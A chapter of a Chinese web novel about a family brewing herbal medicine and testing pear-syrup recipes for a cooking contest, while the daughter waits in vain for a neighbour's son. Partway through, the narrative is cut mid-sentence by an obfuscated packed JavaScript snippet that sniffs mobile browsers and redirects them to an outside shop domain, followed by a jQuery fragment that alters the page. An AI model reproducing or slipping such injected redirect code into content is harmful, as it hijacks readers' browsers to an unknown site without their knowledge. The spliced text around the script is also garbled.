后门的石阶旁有两个粗陶药锅稳稳地支在砖头垒的小灶眼上，底下几根劈柴正烧得噼啪作响。绿橘色的火舌舔着锅底，偶尔窜出一缕青烟，带着药香飘在冷风追热风的空气里。
虞映棠从屋里走出来，手里端着一碟蜜饯，搁在墙根下的条凳上。她低头看了看火，用火钳拨了拨柴，火星子溅了一身，转眼就灭了。
锅里的药汤咕嘟咕嘟地翻滚着，深褐色的水面上浮着一层细密的泡沫。她掀开锅盖，用一根黑色的长筷子搅了搅，一股浓郁又苦涩的药味便浓烈地散开，闻着就让人觉得舌根发紫。
“快好了。”她朝灶间喊了一声。
康女士正坐在门槛上择芹菜，闻言抬起头，吸了吸鼻子：“这药味，苦得很。”说着又低头择菜，粗糙的手指捻掉芹菜的叶子，一掐一掰，动作娴熟而漫不经心。
风从巷子口灌进来，虞映棠的刘海被吹乱了，她也懒得理，眯着眼看地上绿油油的的芹菜叶子。
康女士望着虞父劈柴的方向，命令的口吻：“快好了，把碗备上。”原因就是昨晚吵了场无关紧要的小架，尽管他是受气的那一方。
虞父穿着一件藏青色的老棉袄，袖口磨得发白，斧头起落间，木屑溅了一地，又被风扬到河面上。他直起腰来咳了两声，应道：“知道了。”
谷依絮抱着一个暖手袋出来，倚靠在门框上。她穿的羊毛袜很厚实，没觉得外面有多冷。
“听这咕嘟声，妈，你是不是熬浓了？”
虞映棠笑了，眼睛弯着：“她老人家认准了，越浓越苦越管用，谁也拦不住。”
康女士被她逗笑了，站起身轻轻拍了一下她的后背：“能不能说点好话！”
话音刚落，虞父端着两碗药，同时传给她们两个：“要喝干净喔。”黑釉碗边还粘着一点药渣，热气腾腾地往上冒。碗底烫，底下垫着一小块略湿的抹布。
虞映棠接过碗，低头吹了吹，那苦味先于温度冲到鼻子里。她皱了皱眉，先抿了一小口，脸立刻缩成一团：“哎呦，你们是下了狠手了。”
谷依絮也端起来，却没急着喝。她把碗递到虞映棠面前，眨了眨眼：“尝尝我的，看看哪个更苦。”
虞映棠睨她一眼：“把我这妹妹当小白鼠是吧。”随即笑起来，端着自己的碗凑过去，撒泼打滚耍无赖道：“我不管，你也要尝尝我的。”
两个人侧着头，就着对方的碗沿各抿了一小口，同时咂了咂嘴，又同时拧起了眉。
谷依絮摇头晃脑道：“你的更苦，你这个苦得发酸。”
“胡说，你的才是真苦，喝进去从舌尖一路苦到嗓子眼，跟吃了生黄连似的。”虞映棠不甘示弱，与她对视一眼，竟“噗嗤”笑了出来。笑声在冬日清晨的颤栗里像一小团火气，把窗户上凝结的水珠都震得晃了晃。
这时灶间传来虞唯的声音：“成了成了，这锅成了。”他从灶间探出头来，大冷天袖子卷到胳膊肘，额头上沁着一层细汗，鼻尖上还沾了一点糖浆，一股暖烘烘的梨子和冰糖的甜香跟着涌了出来。
“哇塞。”虞映棠鬼使神差地跳进去看。
操作台上摆了一排白瓷小碟，每一碟都标着编号——一号是纯梨汁加冰糖，二号加了陈皮，三号加了半勺生姜汁，四号加了晒干的桂花和一点点盐。
虞唯舀起一勺新熬的糖水，吹凉了递到虞映棠嘴边：“糖糖，你舌头灵，尝尝三号这个。你先前说康女士加了陈皮有一丝抢味，这回我减到一成，不仅换了食材，还加了点姜汁提尾韵，你品品。”
虞映棠刚喝完一半的药，舌根还在发苦，被甜香一勾，立马来了兴致。她伸出舌尖舔了舔，眼睛微眯起来，静了片刻，点了点头：“姜汁加得好，收口有一丝暖意，不像市面上那些秋梨膏只有甜。但……”她又抿了一口：“好像缺了点桂花香，你在加了姜汁的碟里再撒点干桂花试试，注意别煮。”
虞唯迅速指向四号小碟：“这有加了干桂花的，你尝尝这个。”
虞映棠依旧试了试，略微迟缓道：“没了姜汁就没了那种感觉，我还是坚持刚刚的说法。”
虞唯的眼睛一亮，如获至宝，转身就去翻柜子找干桂花。灶间的操作台上，一碟一碟的样品在冬日短促的光线里闪着光，犹如一排温润的糖色玉石。
谷依絮的肚子还是有些不舒服，虞唯催促着让她回房间躺着休息。她理解他现在一门心思都放在熬糖水上，便没硬拉着他陪自己一起歇着，蜻蜓点水地亲了他一下：“你忙吧，我去缓缓。”
虞映棠撞了个正着，双手捂住脸，手指慢慢张开：“你俩害不害臊，我和爸妈都在这呢。”谷依絮拍了下她的胳膊，即兴扮了一张鬼脸。
虞唯的耳朵红了，蔓延至脖颈，吞吞吐吐道：“你快过来尝味道。”
虞映棠边搞怪地翻白眼边过去听从他的指令，这哥哥结了婚就是不一样了，还虎虎生威似的管教起人来了昂。
后门外的小灶眼又重新起火了，康女士换成了一个煲排骨汤的粗陶锅，添了一根歪七扭八的柴：“这个粗陶锅还是你们小姨拿过来的，她在陶瓷磨具厂上班，总喜欢顺好看的陶瓷带回家。”
虞映棠趴在虞父宽厚的背上，歪着头说：“可是小姨拿回来的东西质量嘎嘎好啊，你还记不记得那几个陶瓷杯，又能喝水又能当碗，大到可以泡捏碎的泡面了。”
康女士叽叽喳喳道：“关键是她厂里的陶瓷卖的也很便宜，货真价实呢，不像邻居前两天拿了个泡面碗过来，说是她儿子从北京寄回来的，纯手工制作，要五六百块钱一个呢。”
“有的机器制作的也会当成纯手工的，赚你钱呢。”虞父说完后打了个喷嚏，他抹了抹鼻子：“心虚的店主居然骂上我了。”
风大了，虞映棠把棉袄裹紧了些，蹲在小灶眼边守着。她双手拢在袖子里，看着火发呆。
康女士端着碗里剩一半的药走出来，呼出的白气在冷空气里凝结成一团：“你这孩子，又不喝完药，跟小时候的德行一模一样。那时你奶奶带你去小诊所打针，你把医生开的胶囊藏进袖子里，边走边扔。”
虞映棠狡辩道：“这完全是两个概念，胶囊哪有中药苦，那个吞下去就好了。”
“那你这个不就跟喝水一样，吞下去就好了。”康女士生搬硬造。
虞映棠说不赢了，她知道再狡辩下去，康女士依旧还有别的说辞，气急败坏地憋出三个字：“老顽固！”
她仰头喝完最后一口药，苦意在舌尖炸开，又在喉头慢慢化开若有若无的回甘。她忽然灵光一闪，冲着灶间喊：“哥，要是我们拿了苏味美食大赛的冠军，我就可以不用喝药了，改喝家里的糖水——一天三顿，顿顿不落。”
灶间里传来虞唯含混的应答，大概是嘴里正含着糖水在试味道，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779708|208124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
虞映棠不用想也知道他坚决不同意。
虞父笑着摇了摇头，低头往小灶眼里塞了一根松枝。松枝烧得噼啪作响，油脂的香气一下子涌出来，居然盖过了排骨加胡萝卜的香味。火光映着他冻红的鼻尖和耳廓，霎时说：“要是真能拿第一名，我就把你的药都喝了。”
“一言为定。”虞映棠的眼睛倏然变得亮晶晶了。
五分钟后，童姨端着一个纯白色的圆碗进来，“你们都聚在灶间呢。”
康女士言笑晏晏道：“你带啥好吃的来了？”
童姨掀开上面盖着的一层纱布，“我自己焖煮的东坡肉，来给你们送点。”
虞映棠忙不迭拿了双筷子，嘴馋到凑前去夹了一块放嘴里：“酱汁风味浓郁，吃着一点都不腻。”她还给康女士夹了一块，下一个是虞父，再故作镇定地不夹给虞唯。
虞唯捂着小心脏，受伤道：“童姨，你看她这个马后炮，这个家没我的位置了。”
童姨笑嘻嘻地抢过虞映棠手里的筷子，略显笨重地夹了一块进虞唯嘴里。他边咀嚼边说：“很好吃，有小时候的味道。”随即对着虞映棠“哼”了一声。
童姨在得到双倍的夸奖后会有点沾沾自喜，清醒过后动了动鼻子：“是不是熬了中药啊？”
虞映棠回应：“是的，我和嫂子一人一锅。”
“怎么了？”童姨的声音透露出担忧。
虞映棠一一解释：“没啥大事，嫂子是缓解一下生理期带来的疼痛。我是有些劳心劳神，作息不太规律，就是补充一下气血。”
童姨沉吟片刻，念叨道：“现在的年轻人就是爱熬夜，我家年仔最近也是这样，身体很容易搞垮的。”紧接着交代：“你们这些孩子，都要养成早睡早起的好习惯，身体是本钱啊。”
虞映棠缩了缩脖子，右手无意识摩挲着衣角：“童姨教训的是，不敢了。”她犹豫半晌，小心翼翼地问：“阿年是在创作过程中卡文了吗？因为他说最近都没时间，要赶稿，但我没看到他的文更新章节。”
“应该吧。”童姨也不知道裴叙年怎么了，总是坐在书桌面前发呆，平时吃饭扒拉两口就完事儿，连话都不怎么愿意说。
虞映棠瞅了眼外面的粗陶锅，见风使舵道：“童姨，我们煲了排骨汤，要不要喝点？”
童姨连连摆手：“不用不用，我得回去给年仔改错别字了。”她语重心长地再次交代：“中药虽然很苦，但你俩要记得按时喝哈。”
虞映棠见她转身时脚步有些慢，望着她的背影，忽然想起因超市搞促销，家中有许多暖宝宝贴，喊住说：“上次说的暖宝宝贴还有吗？我想拿给嫂子试试。”
童姨回头笑了，眼角的皱纹挤成两朵花，“有！我给你留着呢。”
虞映棠跃跃欲试发问：“那我跟你去拿？”
“不用，你等我一会，刚好我让年仔过来喝一碗热糖水。”童姨知道灶间全家人都在忙活，而且外面风大，也不想让近期体弱的虞映棠在巷子里吹穿堂风。
虞映棠一听裴叙年等会要来，耐不住心中的欣喜：“好、好的。”
她一直按耐不住地站在店堂等他，却没想到，最后来送暖宝宝贴的，只有童姨一人。原因是裴叙年暂时没有时间，他创作的灵感枯竭，依旧还是扯着同样的借口。
期待终究还是落了空，连见面都成了一个回避的问题。